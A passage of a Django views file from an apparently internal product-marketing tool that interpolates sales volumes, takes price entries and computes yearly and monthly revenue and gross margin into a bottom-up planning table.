int(totalVolume) == 0:\n # return on error\n notification = \"Please fill out all fields!\"\n return render(\n request,\n \"productMarketing/entryBase.html\",\n {\n \"step\": 1,\n \"volumeForm\": volumeForm,\n \"volumeAutomaticForm\": volumeAutomaticForm,\n \"notification\": notification,\n \"startOfProduction\": startOfProduction,\n \"projectId\": projectId,\n },\n )\n\n if sop != None:\n sop = int(sop)\n if int(sop) != startOfProduction:\n print(\"sop changed!!\")\n project.estimatedSop = int(sop)\n project.save()\n\n if eop != None:\n eop = int(eop)\n\n if initialVolume != None:\n initialVolume = int(initialVolume)\n\n if peakVolume != None:\n peakVolume = int(peakVolume)\n\n if peakYear != None:\n peakYear = int(peakYear)\n\n if totalVolume != None:\n totalVolume = int(totalVolume)\n\n print(\"eop none?\", eop == None)\n\n # plausi checks:\n # sop < eop,\n # sop <= peak year <= eop,\n # peak volume != 0\n # initial volume > 0\n\n (\n eopSmallerEopError,\n sopLargerPeakError,\n peakLargerEopError,\n peakVolError,\n initialVolError,\n totalVolumeError,\n ) = checkConditions(\n sop,\n eop,\n initialVolume,\n peakVolume,\n peakYear,\n distributionType,\n totalVolume,\n )\n\n if (\n (eopSmallerEopError == False)\n & (sopLargerPeakError == False)\n & (peakLargerEopError == False)\n & (peakVolError == False)\n & (initialVolError == False)\n & (totalVolumeError == False)\n ):\n\n #########\n print(\"starting interpolation!!!\")\n # for distribution on year level\n monthLevel = True\n yearLevel = True\n if yearLevel == True:\n interpolationResults = interpolator(\n sop,\n eop,\n initialVolume,\n peakVolume,\n peakYear,\n distributionType,\n totalVolume,\n )\n print(\"interpolation results!!!\", interpolationResults)\n\n # the interpolation is an array... it's 0 element is of SoP year\n\n ##########\n # insert into volumes table\n\n year = sop\n\n for index in range(0, eop - sop, 1):\n quantity = int(interpolationResults[index])\n\n object, created = ProjectVolumePrices.objects.get_or_create(\n project=project, calenderYear=year\n )\n object.quantity = quantity\n object.user = user\n object.save()\n year = year + 1\n\n \"\"\"\n volumeObject, created = ProjectVolume.objects.get_or_create(project = project, calenderYear = year)\n print(\"volume object\", volumeObject, \"quantity\", quantity)\n volumeObject.user = user\n year = year + 1\n volumeObject.quantity = quantity\n volumeObject.save()\n \"\"\"\n if monthLevel == True:\n\n interpolationResults = yearToMonthPoissonSmoother(\n sop, eop, totalVolume, peakYear\n )\n print(\"interpolation results!!!\", interpolationResults)\n\n # the interpolation is an array of arrays... it's 0 element is of SoP year, its 0 0 element is first month of SoP\n\n ##########\n # insert into volumes month table\n year = sop\n month = 1\n for index in range(0, (eop - sop) * 12, 1):\n if month == 13:\n month = 1\n year = year + 1\n\n quantity = int(interpolationResults[index])\n\n (\n volumeObject,\n created,\n ) = ProjectVolumeMonth.objects.get_or_create(\n project=project, calenderYear=year, month=month\n )\n print(\n \"volume object\",\n volumeObject,\n \"created\",\n created,\n \"quantity\",\n quantity,\n )\n\n volumeObject.user = user\n volumeObject.quantity = quantity\n volumeObject.month = month\n volumeObject.save()\n month = month + 1\n\n # show volume confirmation screen!\n\n print(\"redirecting...\")\n url = \"/ifx/productMarketing/boupEntry2/\" + str(projectId)\n return HttpResponseRedirect(url)\n\n \"\"\"\n calenderYear = models.IntegerField()\n quantity = models.IntegerField()\n source = models.CharField(max_length=30, choices=ALLOWABLE_TYPES_VOLUME_SOURCE, blank=True, null=True) \n date = models.DateTimeField(default=now, editable=False, blank=True, null=True) \n user = models.ForeignKey(User, on_delete=models.PROTECT, blank=True, null=True) \n \"\"\"\n\n notification = \"Please fill out all fields!\"\n return render(\n request,\n \"productMarketing/entryBase.html\",\n {\n \"step\": 1,\n \"volumeForm\": volumeForm,\n \"volumeAutomaticForm\": volumeAutomaticForm,\n \"notification\": notification,\n \"startOfProduction\": startOfProduction,\n \"projectId\": projectId,\n },\n )\n else:\n print(\"volumeAutomaticForm\", volumeAutomaticForm)\n return render(\n request,\n \"productMarketing/entryBase.html\",\n {\n \"step\": 1,\n \"volumeForm\": volumeForm,\n \"volumeAutomaticForm\": volumeAutomaticForm,\n \"startOfProduction\": startOfProduction,\n \"projectId\": projectId,\n \"volumeConfirmation\": False,\n },\n )\n\n\n###\n\n\ndef distributionConfigurator(request, projectId):\n print(\"rquest\", request)\n try:\n distributionType = request.GET.get(\"distributionType\")\n print(\"-----> distributionType\", distributionType, \"post\", request)\n\n if distributionType == \"poisson\":\n volumeAutomaticForm = EnterVolumeAutomaticForm(project=projectId)\n return render(\n request,\n \"productMarketing/enterVolumeForm/distributionConfiguratorPoisson.html\",\n {\n \"volumeAutomaticForm\": volumeAutomaticForm,\n },\n )\n\n except:\n productSeries = ProductSeries.objects.all()\n salesNames = SalesName.objects.all()\n return render(\n request,\n \"productMarketing/enterProjectForm/seriesSelect.html\",\n {\n \"productSeries\": productSeries,\n \"salesNames\": salesNames,\n },\n )\n\n\n\"\"\"\nStep 3a: select price source.\nFor now, it will be only \"Excel copy & paste\"\nhttp://localhost:8000/ifx/productMarketing/boupEntry2/3\n\"\"\"\n\n# select pricing source\n\n\ndef priceSelection(request, projectId):\n print(\"########### price source selection screen\")\n\n project = Project.objects.get(id=projectId)\n sourceSelectionForm = SelectPriceSourceForm()\n\n if request.method == \"POST\":\n sourceSelectionForm = SelectPriceSourceForm(request.POST)\n print(\"volumeFormInput\", sourceSelectionForm)\n\n for key, value in sourceSelectionForm.cleaned_data.items():\n print(\"--->key\", key, \"value\", value)\n\n if value == \"excel\":\n\n url = \"/ifx/productMarketing/boupEntry2a/\" + str(projectId)\n return HttpResponseRedirect(url)\n\n if value == \"manual\":\n url = \"/ifx/productMarketing/boupEntry3/\" + str(projectId) + \"/0\"\n return HttpResponseRedirect(url)\n\n # vpa db is source\n elif value == \"pricesDB\":\n url = \"/ifx/productMarketing/boupEntry3/\" + str(projectId) + \"/1\"\n return HttpResponseRedirect(url)\n # vpa db is source\n else:\n url = \"/ifx/productMarketing/boupEntry3/\" + str(projectId) + \"/2\"\n return HttpResponseRedirect(url)\n\n return render(\n request,\n \"productMarketing/entryBase.html\",\n {\n \"step\": 2,\n \"sourceSelectionForm\": sourceSelectionForm,\n },\n )\n\n\n\"\"\"\nStep 3b: enter price\nFor now, it will be only \"Excel copy & paste\"\nhttp://localhost:8000/ifx/productMarketing/boupEntry2a/3\n\"\"\"\n# select pricing source\n\n\ndef priceEnterExcel(request, projectId):\n print(\"########### price data enter from excel\")\n\n project = Project.objects.get(id=projectId)\n sourceSelectionForm = SelectPriceSourceForm()\n user = request.user\n\n os = operatingSystem.macOs\n\n if request.method == \"POST\":\n currencyInput = request.POST.get(\"currency\")\n excelData = request.POST.get(\"excelData\")\n sourceSelectionForm2 = SelectPriceSourceForm(request.POST)\n priceValidUntil = request.POST.get(\"priceValidUntil\")\n familyPrices = request.POST.get(\"familyPrices\")\n priceComments = request.POST.get(\"priceComments\")\n\n if excelData:\n excelData = excelData.strip()\n years, outputData, errorMutableSequence = checkExcelFormInput(\n excelData=excelData,\n dataType=TypeOfParameter.prices,\n sop=project.estimatedSop,\n )\n\n if len(errorMutableSequence) == 0:\n\n prices = outputData\n print(\"project\", project)\n print(\"years\", years)\n print(\"prices\", prices)\n for i in range(0, (len(years)), 1):\n\n object, created = ProjectVolumePrices.objects.get_or_create(\n project=project, calenderYear=int(years[i])\n )\n object.price = float(prices[i])\n object.currency = currencyInput\n\n object.priceValidUntil = priceValidUntil\n object.priceSourceComment = priceComments\n project.familyPriceApplicable = familyPrices\n object.user = user\n object.save()\n project.save()\n # year = year + 1\n\n \"\"\"\n priceObject, created = ProjectPrices.objects.get_or_create(project = project, calenderYear = int(years[i]), valid = True)\n ## if object already exist, modify\n priceObject.currency = currencyInput\n priceObject.user = user\n priceObject.price = float(prices[i])\n\n priceObject.save()\n print(created, \"price object\", priceObject)\n \"\"\"\n url = \"/ifx/productMarketing/boupEntry3/\" + str(projectId) + \"/0\"\n return HttpResponseRedirect(url)\n else:\n return render(\n request,\n \"productMarketing/entryBase.html\",\n {\n \"step\": 2,\n \"sourceSelectionForm\": sourceSelectionForm2,\n \"excel\": True,\n \"notification\": \"Error on processing or price data missing.\",\n },\n )\n\n else:\n return render(\n request,\n \"productMarketing/entryBase.html\",\n {\n \"step\": 2,\n \"sourceSelectionForm\": sourceSelectionForm2,\n \"excel\": True,\n \"notification\": \"Error on processing or price data missing.\",\n },\n )\n\n return render(\n request,\n \"productMarketing/entryBase.html\",\n {\"step\": 2, \"sourceSelectionForm\": sourceSelectionForm, \"excel\": True},\n )\n\n\n## path('productMarketing/boupEntry3/<int:projectId>/<int:mode>', views.priceConfirmation, name='priceConfirmation'),\n# review pricing, evtl. edit prices\ndef priceConfirmation(request, projectId, mode):\n project = Project.objects.get(id=projectId)\n priceConfirmationForm = PriceConfirmationForm()\n user = request.user\n print(\"%%%%%%%%%%%%% price confirmaiton screen\")\n if request.method == \"POST\":\n priceConfirmationFormResult = PriceConfirmationForm(request.POST)\n # priceConfirmationFormResult.currency\n currency = request.POST.get(\"currency\")\n print(\"selected currecny\", currency)\n\n # To Do: check that for every year for which a volume was entered, a price exist. And viceversa too.\n\n ###\n if False: # ProjectPrices.objects.filter(project=project).exists():\n print(\"prices for project already exist\")\n notification = \"Prices for this project already exist. Please try modifying the project data.\"\n status = 0\n return render(\n request,\n \"productMarketing/entryStep3.html\",\n {\n \"priceConfirmationForm\": priceConfirmationFormResult,\n \"notification\": notification,\n \"status\": status,\n },\n )\n\n else:\n if priceConfirmationFormResult.is_valid():\n print(\"##### price confirmation\")\n # counter starts in 2020\n year = 2020\n currency = \"EUR\"\n for key, value in priceConfirmationFormResult.cleaned_data.items():\n if key == \"currency\":\n currency = value\n\n for key, value in priceConfirmationFormResult.cleaned_data.items():\n print(\"key\", key, \"value\", value)\n if key != \"currency\":\n if value != None:\n\n object, created = ProjectVolumePrices.objects.get_or_create(\n project=project, calenderYear=year\n )\n object.price = value\n object.currency = currency\n object.user = user\n object.save()\n year = year + 1\n\n else:\n # priceObject, created = ProjectPrices.objects.get_or_create(project = project, calenderYear = year, price = 0.0, valid = True, user = user, currency = currency)\n\n object, created = ProjectVolumePrices.objects.get_or_create(\n project=project, calenderYear=year\n )\n object.price = 0.0\n object.currency = currency\n object.user = user\n object.save()\n year = year + 1\n\n # check if price for each volume\n prodYears = checkVolumeEntry(projectId)\n sop = prodYears[0]\n eop = prodYears[-1]\n prices = []\n for key, value in priceConfirmationFormResult.cleaned_data.items():\n print(\"key right now\", key)\n for i in prodYears:\n if key == \"v\" + str(i)[2:]:\n prices.append(value)\n print(\"check which prices are avaiable\", prices)\n if checkConditionsAtPrice(sop, eop, prices) == True:\n notification = (\n \"Error on price processing, pricemissing for years from \"\n + str(sop)\n + \" up to including \"\n + str(eop)\n )\n\n # error dictionary as return after each step (function in new script PlausibilityCheck): for each req one TRUE/FALSE for each project id\n\n status = 0\n return render(\n request,\n \"productMarketing/entryBase.html\",\n {\n \"step\": 3,\n \"priceConfirmationForm\": priceConfirmationFormResult,\n \"notification\": notification,\n },\n )\n\n # redirect\n url = \"/ifx/productMarketing/boupEntry4/\" + str(projectId)\n return HttpResponseRedirect(url)\n else:\n notification = \"Error on price processing, please check all values.\"\n status = 0\n return render(\n request,\n \"productMarketing/entryBase.html\",\n {\n \"step\": 3,\n \"priceConfirmationForm\": priceConfirmationFormResult,\n \"notification\": notification,\n },\n )\n\n else:\n prices = []\n years = [\n 2020,\n 2021,\n 2022,\n 2023,\n 2024,\n 2025,\n 2026,\n 2027,\n 2028,\n 2029,\n 2030,\n 2031,\n 2032,\n 2034,\n 2035,\n 2036,\n 2037,\n 2038,\n 2039,\n 2040,\n 2041,\n 2042,\n 2043,\n 2044,\n 2045,\n ]\n print(\"fetching prices!!\")\n currency = \"EUR\"\n pricesExisted = False\n for year in years:\n try:\n object = ProjectVolumePrices.objects.get(\n project=project, calenderYear=int(year)\n )\n prices.append(object.price)\n currency = object.currency\n pricesExisted = True\n\n \"\"\"\n priceObject = ProjectPrices.objects.get(project = project, calenderYear = int(year), valid = True)\n prices.append(priceObject.price)\n currency = priceObject.currency\n pricesExisted = True\n \"\"\"\n except:\n prices.append(0.0)\n print(\"resulting prices array\", prices)\n\n p20 = prices[0]\n p21 = prices[1]\n p22 = prices[2]\n p23 = prices[3]\n p24 = prices[4]\n p25 = prices[5]\n p26 = prices[6]\n p27 = prices[7]\n p28 = prices[8]\n p29 = prices[9]\n p30 = prices[10]\n p31 = prices[11]\n p32 = prices[12]\n p33 = prices[13]\n p34 = prices[14]\n p35 = prices[15]\n p36 = prices[16]\n p37 = prices[17]\n p38 = prices[18]\n p39 = prices[19]\n p40 = prices[20]\n\n priceConfirmationForm2 = PriceConfirmationForm(\n initial={\n \"currency\": currency,\n \"v20\": p20,\n \"v21\": p21,\n \"v22\": p22,\n \"v23\": p23,\n \"v24\": p24,\n \"v25\": p25,\n \"v26\": p26,\n \"v27\": p27,\n \"v28\": p28,\n \"v29\": p29,\n \"v30\": p30,\n \"v31\": p31,\n \"v32\": p32,\n \"v33\": p33,\n \"v34\": p34,\n \"v35\": p35,\n \"v36\": p36,\n \"v37\": p37,\n \"v38\": p38,\n \"v39\": p39,\n \"v40\": p40,\n }\n )\n\n # manual entry\n if mode == 0:\n # check if price for each year exists\n prodYears = checkVolumeEntry(projectId)\n sop = prodYears[0]\n eop = prodYears[-1]\n print(prodYears)\n check = checkConditionsAtPrice(sop, eop, prices)\n print(check)\n return render(\n request,\n \"productMarketing/entryBase.html\",\n {\n \"step\": 3,\n \"priceConfirmationForm\": priceConfirmationForm2,\n \"pricesExisted\": pricesExisted,\n \"check\": check,\n \"sop\": sop,\n \"eop\": eop,\n },\n )\n\n # take data from prices db if possible, else fallback\n elif mode == 1:\n\n # load prices from DB or mock data, parse into form, and show\n\n return render(\n request,\n \"productMarketing/entryBase.html\",\n {\n \"step\": 3,\n \"priceConfirmationForm\": priceConfirmationForm2,\n \"pricesExisted\": pricesExisted,\n },\n )\n\n # take data from vpa db if possible, else fallback\n else:\n # load prices from DB or mock data, parse into form, and show\n\n return render(\n request,\n \"productMarketing/entryBase.html\",\n {\n \"step\": 3,\n \"priceConfirmationForm\": priceConfirmationForm2,\n \"pricesExisted\": pricesExisted,\n },\n )\n\n return render(\n request,\n \"productMarketing/entryStep3.html\",\n {\n \"priceConfirmationForm\": priceConfirmationForm,\n },\n )\n\n\n# overview, submit and evaluate (eg. for family price conflict)\n\n\"\"\"\nhttp://localhost:8000/ifx/productMarketing/boupEntry4/3\n\nProject overview with graphics. Right now using seaborn, should switch to Chart.JS\n\"\"\"\n\n\ndef boupEntryOverview(request, projectId):\n\n # fetch vorherstellungskosten\n # to do on imports: check consistency of currencies; gaps of years\n user = request.user\n\n years = [\n 2020,\n 2021,\n 2022,\n 2023,\n 2024,\n 2025,\n 2026,\n 2027,\n 2028,\n 2029,\n 2030,\n 2031,\n 2032,\n 2034,\n 2035,\n 2036,\n 2037,\n 2038,\n 2039,\n 2040,\n 2041,\n 2042,\n 2043,\n 2044,\n 2045,\n ]\n months = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12]\n all_months = []\n missing_months = []\n vhk = []\n volumes = []\n volumesMonth = []\n prices = []\n pricesExisted = False\n currencyPrices = \"\"\n currencyVhk = \"\"\n region = [\"EU\"]\n\n project = Project.objects.get(id=projectId)\n\n for year in years:\n try:\n object = ProjectVolumePrices.objects.get(\n project=project, calenderYear=int(year)\n )\n # priceObject = ProjectPrices.objects.get(project = project, calenderYear = int(year), valid = True)\n\n # to do: what if quantity or price are empty or 0?\n prices.append(float(object.price))\n currencyPrices = object.currency\n volumes.append(object.quantity)\n\n except:\n prices.append(0)\n volumes.append(0)\n\n i = 0\n for year in years:\n for month in months:\n try:\n volumeMonthObject = ProjectVolumeMonth.objects.get(\n project=project, calenderYear=year, month=month\n )\n volumesMonth.append(volumeMonthObject.quantity)\n all_months.append(i + 1)\n i = i + 1\n except:\n missing_months.append(i + 1)\n\n try:\n costObject = VhkCy.objects.get(RFP=project.salesName.rfp.pk, valid=True)\n for year in years:\n # costObject = VhkCy.objects.get(RFP = project.salesName.rfp.pk, calendarYear = year)\n varName = \"cy\" + str(year)\n costValue = getattr(costObject, varName)\n vhk.append(float(costValue))\n currencyVhk = costObject.currency.currency\n except:\n for year in years:\n vhk.append(0)\n # to avoid error\n currencyVhk = \"EUR\"\n\n for year in years:\n try:\n region.append(project.region)\n except:\n region.append(\"Not avaiable\")\n ##### revenue and gm\n\n revenue = []\n grossMargin = []\n grossMarginPct = []\n\n # FY calculations through month aggregation\n revenue_month = []\n grossMargin_month = []\n grossMarginPct_month = []\n\n fxErrorPrices = False\n\n print(\"projectId\", projectId)\n print(\"prices\", prices)\n print(\"vhk\", vhk)\n print(\"volumes\", volumes)\n print(\"volumes for month\", volumesMonth)\n print(\"currencies\", currencyPrices, currencyVhk)\n\n # check if price currency matches cost currency, else batch transform\n if currencyPrices != \"EUR\":\n print(\"currencies do not match! converting to EUR\")\n # get current rate\n fx = 1.0\n #currencyObj = Currencies.objects.get(currency=currencyPrices)\n\n try:\n \"\"\"\n fxObject = ExchangeRates.objects.get(currency=currencyObj.pk, valid=True)\n fx = fxObject.rate\n \"\"\"\n from currencies.models import Currency\n fxObject = Currency.objects.get(code=currencyPrices, is_active=True)\n fx = float(fxObject.factor)\n except:\n print(\"failed currency exchange!! aborting!!\")\n fxErrorPrices = True\n\n print(\"lenghts\", len(prices), len(years))\n for index in range((len(years) - 1)):\n prices[index] = prices[index] * float(fx)\n\n if currencyVhk != \"EUR\":\n print(\"currencies vhk do not match! converting to EUR\")\n # get current rate\n fx = 1.0\n #currencyObj = Currencies.objects.get(currency=currencyVhk)\n #print(\"currobj\", currencyObj.currency)\n\n try:\n \"\"\"\n fxObject = ExchangeRates.objects.get(currency=currencyObj.pk, valid=True)\n fx = fxObject.rate\n \"\"\"\n from currencies.models import Currency\n fxObject = Currency.objects.get(code=currencyPrices, is_active=True)\n fx = float(fxObject.factor)\n except:\n print(\"failed currency exchange!! aborting!!\")\n fxErrorPrices = True\n\n for index in range((len(years) - 1)):\n vhk[index] = vhk[index] * float(fx)\n\n # will be first in EUR\n print(\"------------> final results without considering family prices\")\n\n if fxErrorPrices == False:\n for index in range(len(years)):\n revenueValue = prices[index] * volumes[index]\n grossMarginValue = revenueValue - (vhk[index] * volumes[index])\n revenue.append(revenueValue)\n grossMargin.append(grossMarginValue)\n grossMarginPctValue = 0\n try:\n grossMarginPctValue = grossMarginValue * 100 / revenueValue\n grossMarginPct.append(grossMarginPctValue)\n except:\n grossMarginPct.append(0)\n print(\n \"%%%%%%%%%%% final result, year\",\n years[index],\n \"volume\",\n volumes[index],\n \"price\",\n prices[index],\n \"currency: EUR\",\n \"revenue\",\n revenueValue,\n \"gross margin\",\n grossMarginValue,\n \"cost\",\n vhk[index],\n \"margin pctg\",\n grossMarginPctValue,\n )\n\n # for monthly calculation aggregated into FY\n for index in range(len(years)):\n for month in months:\n try:\n month_value = volumesMonth[(index * 12) + month - 1]\n except:\n # since only values until 2024 and not up to 2045(because entry is for 2020 to 2024)\n month_value = 0\n revenueMonthValue = prices[index] * month_value\n grossMarginMonthValue = revenueMonthValue - (vhk[index] * month_value)\n revenue_month.append(revenueMonthValue)\n grossMargin_month.append(grossMarginMonthValue)\n grossMarginMonthPctValue = 0\n\n try:\n grossMarginMonthPctValue = (\n grossMarginMonthValue * 100 / revenueMonthValue\n )\n grossMarginPct_month.append(grossMarginMonthPctValue)\n except:\n grossMarginPct_month.append(0)\n print(\n \"%%%%%%%%%%% final result, year\",\n years[index],\n \"month\",\n month,\n \"volume\",\n month_value,\n \"price\",\n prices[index],\n \"currency: EUR\",\n \"revenue\",\n revenueMonthValue,\n \"gross margin\",\n grossMarginMonthValue,\n \"cost\",\n vhk[index],\n \"margin pctg\",\n grossMarginMonthPctValue,\n )\n\n # calculation to agg. into FY\n revenue_FY = []\n grossProfit_FY = []\n grossProfitPct_FY = []\n volumes_FY = []\n\n for idx in range(len(years)):\n if idx == 0:\n revenue_FY.append(sum(revenue_month[:9]))\n grossProfit_FY.append(sum(grossMargin_month[:9]))\n grossProfitPct_FY.append(sum(grossMarginPct_month[:9]))\n volumes_FY.append(sum(volumesMonth[:9]))\n elif idx == len(years) - 1:\n revenue_FY.append(sum(revenue_month[-3:]))\n grossProfit_FY.append(sum(grossMargin_month[-3:]))\n grossProfitPct_FY.append(sum(grossMarginPct_month[-3:]))\n volumes_FY.append(sum(volumesMonth[-3:]))\n else:\n current_start = 8 + 12 * (idx - 1)\n current_end = 8 + 12 * idx\n revenue_FY.append(sum(revenue_month[current_start : current_end + 1]))\n grossProfit_FY.append(\n sum(grossMargin_month[current_start : current_end + 1])\n )\n grossProfitPct_FY.append(\n sum(grossMarginPct_month[current_start : current_end + 1])\n )\n volumes_FY.append(sum(volumesMonth[current_start : current_end + 1]))\n\n print(\"lens\", len(years), len(grossMargin), len(revenue))\n print(\"%%%%%&&&&& gross margins\", grossMargin)\n print(\"%%%%%&&&&& revenue\", revenue)\n print(\"%%%%%&&&&& cumulative gross margin\", sum(grossMargin))\n print(\"%%%%%&&&&& cumulative revenue\", sum(grossMargin))\n\n # create entry in BoUp TABLE\n start_time = time.time()\n if not project.oem:\n oem = \"\"\n else:\n oem = project.oem # oem = project.oem.oemName\n\n statusProbability = float(project.status.status)\n\n print(\"oem\", oem)\n \"\"\"\n BoUpObject, created = BoUp.objects.get_or_create(\n ID_APP = project,\n applicationLine = project.applicationLine,\n productMarketer = project.productMarketer,\n hfg = project.salesName.rfp.hfg,\n ppos = project.salesName.rfp.ppos,\n spNumber = project.spNumber,\n applicationMain = project.applicationMain, \n applicationDetail = project.applicationDetail, \n rfp = project.salesName.rfp,\n salesName = project.salesName,\n #priceSource, #defaulted \n familyPriceApplicable = project.familyPriceApplicable,\n familyPriceDetails = project.familyPriceDetails,\n priceType = project.priceType,\n #currency, #defaulted \n #fxRate, #defaulted\n comment = project.comment, \n region = project.region,\n projectName = project.projectName,\n mainCustomer = project.mainCustomer,#mainCustomer = project.mainCustomer.customerName,\n endCustomer = project.endCustomer,#endCustomer = project.endCustomer.finalCustomerName,\n distributor = project.distributor,\n tier1 = project.tier1,\n oem = oem,\n ems = project.ems,\n vpaCustomer = project.vpaCustomer,\n #dragonId, #defaulted \t\t\t \n salesContact = project.salesContact,\n probability = statusProbability,\n #statusProbability, #defaulted \t\n sop = project.estimatedSop,\n availablePGS = project.salesName.rfp.availablePGS,\n modifiedBy = project.user,#modifiedBy = project.user.username,\n modifiedDate = project.modifiedDate,\n creationDate = project.creationDate,\n #timeBottomUp, #defaulted \t\t\t\n #basicType, #defaulted\t\t\t\n package = project.salesName.rfp.package,\n series = project.salesName.rfp.series,\n #gen, #defaulted \t\t\t\t\n #seriesLong, #defaulted \t\t \n #genDetail,\t#defaulted \n )\n \"\"\"\n print(\"related object\", project.projectvolumeprices)\n BoUpObject, created = BoUp.objects.get_or_create(\n ID_APP=project,\n # applicationLine = project.applicationLine,\n productMarketer=project.productMarketer,\n hfg=project.salesName.rfp.hfg,\n ppos=project.salesName.rfp.ppos,\n spNumber=project.spNumber,\n applicationMain=project.applicationMain,\n applicationDetail=project.applicationDetail,\n rfp=project.salesName.rfp,\n salesName=project.salesName,\n familyPriceApplicable=project.familyPriceApplicable,\n familyPriceDetails=project.familyPriceDetails,\n priceType=project.priceType,\n comment=project.comment,\n region=project.region,\n projectName=project.projectName,\n # mainCustomer = project.mainCustomer.customerName,\n mainCustomer=project.mainCustomer,\n # endCustomer = project.endCustomer.finalCustomerName,\n endCustomer=project.endCustomer,\n distributor=project.distributor,\n tier1=project.tier1,\n ems=project.ems,\n vpaCustomer=project.vpaCustomer,\n salesContact=project.salesContact,\n probability=statusProbability,\n sop=project.estimatedSop,\n availablePGS=project.salesName.rfp.availablePGS,\n modifiedBy=user, # project.user,#modifiedBy = project.user.username,\n modifiedDate=project.modifiedDate,\n creationDate=project.creationDate,\n package=project.salesName.rfp.package,\n series=project.salesName.rfp.seriesHelper,\n )\n \"\"\"\n bis oem\n\n \"\"\"\n try:\n BoUpObject.oem = oem\n except:\n print(\"could not set oem!\", oem)\n\n BoUpObject.gmLifeTime = sum(grossMargin)\n BoUpObject.revEurLifeTime = sum(revenue)\n BoUpObject.volLifeTime = sum(volumes)\n BoUpObject.volWeightedLifeTime = sum(volumes) * statusProbability\n\n BoUpObject.vol2020 = volumes[0]\n BoUpObject.vol2021 = volumes[1]\n BoUpObject.vol2022 = volumes[2]\n BoUpObject.vol2023 = volumes[3]\n BoUpObject.vol2024 = volumes[4]\n BoUpObject.vol2025 = volumes[5]\n BoUpObject.vol2026 = volumes[6]\n BoUpObject.vol2027 = volumes[7]\n BoUpObject.vol2028 = volumes[8]\n BoUpObject.vol2029 = volumes[9]\n BoUpObject.vol2030 = volumes[10]\n BoUpObject.vol2031 = volumes[11]\n BoUpObject.vol2032 = volumes[12]\n BoUpObject.vol2033 = volumes[13]\n BoUpObject.vol2034 = volumes[14]\n BoUpObject.vol2035 = volumes[15]\n BoUpObject.vol2036 = volumes[16]\n BoUpObject.vol2037 = volumes[17]\n BoUpObject.vol2038 = volumes[18]\n BoUpObject.vol2039 = volumes[19]\n BoUpObject.vol2040 = volumes[20]\n BoUpObject.vol2041 = volumes[21]\n BoUpObject.vol2042 = volumes[22]\n BoUpObject.vol2043 = volumes[23]\n BoUpObject.vol2044 = 0.0\n\n # original code linked all volCustomer to first entry in volumes\n BoUpObject.volCustomer2020 = volumes[0]\n BoUpObject.volCustomer2021 = volumes[0]\n BoUpObject.volCustomer2022 = volumes[0]\n BoUpObject.volCustomer2023 = volumes[0]\n BoUpObject.volCustomer2024 = volumes[0]\n BoUpObject.volCustomer2025 = volumes[0]\n BoUpObject.volCustomer2026 = volumes[0]\n BoUpObject.volCustomer2027 = volumes[0]\n BoUpObject.volCustomer2028 = volumes[0]\n BoUpObject.volCustomer2029 = volumes[0]\n BoUpObject.volCustomer2030 = volumes[0]\n BoUpObject.volCustomer2031 = volumes[0]\n BoUpObject.volCustomer2032 = volumes[0]\n BoUpObject.volCustomer2033 = volumes[0]\n BoUpObject.volCustomer2034 = volumes[0]\n BoUpObject.volCustomer2035 = volumes[0]\n BoUpObject.volCustomer2036 = volumes[0]\n BoUpObject.volCustomer2037 = volumes[0]\n BoUpObject.volCustomer2038 = volumes[0]\n BoUpObject.volCustomer2039 = volumes[0]\n BoUpObject.volCustomer2040 = volumes[0]\n BoUpObject.volCustomer2041 = volumes[0]\n BoUpObject.volCustomer2042 = volumes[0]\n BoUpObject.volCustomer2043 = volumes[0]\n BoUpObject.volCustomer2044 = volumes[0]\n\n BoUpObject.price2020 = prices[0]\n BoUpObject.price2021 = prices[1]\n BoUpObject.price2022 = prices[2]\n BoUpObject.price2023 = prices[3]\n BoUpObject.price2024 = prices[4]\n BoUpObject.price2025 = prices[5]\n BoUpObject.price2026 = prices[6]\n BoUpObject.price2027 = prices[7]\n BoUpObject.price2028 = prices[8]\n BoUpObject.price2029 = prices[9]\n BoUpObject.price2030 = prices[10]\n BoUpObject.price2031 = prices[11]\n BoUpObject.price2032 = prices[12]\n BoUpObject.price2033 = prices[13]\n BoUpObject.price2034 = prices[14]\n BoUpObject.price2035 = prices[15]\n BoUpObject.price2036 = prices[16]\n BoUpObject.price2037 = prices[17]\n BoUpObject.price2038 = prices[18]\n BoUpObject.price2039 = prices[19]\n BoUpObject.price2040 = prices[20]\n BoUpObject.price2041 = prices[21]\n BoUpObject.price2042 = prices[22]\n BoUpObject.price2043 = prices[23]\n BoUpObject.price2044 = 0.0\n\n BoUpObject.vhk2020 = vhk[0]\n BoUpObject.vhk2021 = vhk[1]\n BoUpObject.vhk2022 = vhk[2]\n BoUpObject.vhk2023 = vhk[3]\n BoUpObject.vhk2024 = vhk[4]\n BoUpObject.vhk2025 = vhk[5]\n BoUpObject.vhk2026 = vhk[6]\n BoUpObject.vhk2027 = vhk[7]\n BoUpObject.vhk2028 = vhk[8]\n BoUpObject.vhk2029 = vhk[9]\n BoUpObject.vhk2030 = vhk[10]\n BoUpObject.vhk2031 = vhk[11]\n BoUpObject.vhk2032 = vhk[12]\n BoUpObject.vhk2033 = vhk[13]\n BoUpObject.vhk2034 = vhk[14]\n BoUpObject.vhk2035 = vhk[15]\n BoUpObject.vhk2036 = vhk[16]\n BoUpObject.vhk2037 = vhk[17]\n BoUpObject.vhk2038 = vhk[18]\n BoUpObject.vhk2039 = vhk[19]\n BoUpObject.vhk2040 = vhk[20]\n BoUpObject.vhk2041 = vhk[21]\n BoUpObject.vhk2042 = vhk[22]\n BoUpObject.vhk2043 = vhk[23]\n BoUpObject.vhk2044 = 0.0\n\n BoUpObject.gm2020 = grossMargin[0]\n BoUpObject.gm2021 = grossMargin[1]\n BoUpObject.gm2022 = grossMargin[2]\n BoUpObject.gm2023 = grossMargin[3]\n BoUpObject.gm2024 = grossMargin[4]\n BoUpObject.gm2025 = grossMargin[5]\n BoUpObject.gm2026 = grossMargin[6]\n BoUpObject.gm2027 = grossMargin[7]\n BoUpObject.gm2028 = grossMargin[8]\n BoUpObject.gm2029 = grossMargin[9]\n BoUpObject.gm2030 = grossMargin[10]\n BoUpObject.gm2031 = grossMargin[11]\n BoUpObject.gm2032 = grossMargin[12]\n BoUpObject.gm2033 = grossMargin[13]\n BoUpObject.gm2034 = grossMargin[14]\n BoUpObject.gm2035 = grossMargin[15]\n BoUpObject.gm2036 = grossMargin[16]\n BoUpObject.gm2037 = grossMargin[17]\n BoUpObject.gm2038 = grossMargin[18]\n BoUpObject.gm2039 = grossMargin[19]\n BoUpObject.gm2040 = grossMargin[20]\n BoUpObject.gm2041 = grossMargin[21]\n BoUpObject.gm2042 = grossMargin[22]\n BoUpObject.gm2043 